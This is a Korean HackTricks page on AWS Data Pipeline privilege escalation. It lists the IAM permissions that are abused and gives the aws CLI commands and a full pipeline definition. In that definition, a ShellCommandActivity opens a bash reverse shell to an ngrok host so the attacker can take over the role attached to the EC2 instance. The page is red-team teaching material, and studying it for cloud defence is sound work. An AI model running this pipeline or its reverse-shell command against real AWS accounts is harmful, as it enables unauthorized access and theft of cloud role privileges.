AWS - Datapipeline Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

datapipeline

datapipeline에 대한 자세한 정보는 다음을 참조하세요:

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

이러한 권한을 가진 사용자는 데이터 파이프라인을 생성하여 할당된 역할의 권한을 사용하여 임의의 명령을 실행하여 권한을 상승시킬 수 있습니다:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

파이프라인 생성 후, 공격자는 정의를 업데이트하여 특정 동작이나 리소스 생성을 지시합니다:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

line 14, 15 및 27roledatapipeline.amazonaws.com이 가정 가능한 역할이어야 하며, line 28의 역할은 EC2 프로필 인스턴스를 가진 ec2.amazonaws.com이 가정 가능한 역할이어야 함을 유의하십시오.

또한, EC2 인스턴스는 EC2 인스턴스가 가정 가능한 역할에만 액세스 할 수 있으므로 해당 역할만 도용할 수 있습니다.

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` **공격자가 조작한 파이프라인 정의 파일에는 AWS API를 통해 명령을 실행하거나 리소스를 생성하는 지시문이 포함**되어 있으며, 이를 통해 Data Pipeline의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.

잠재적인 영향: 지정된 ec2 서비스 역할로의 직접 권한 상승.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新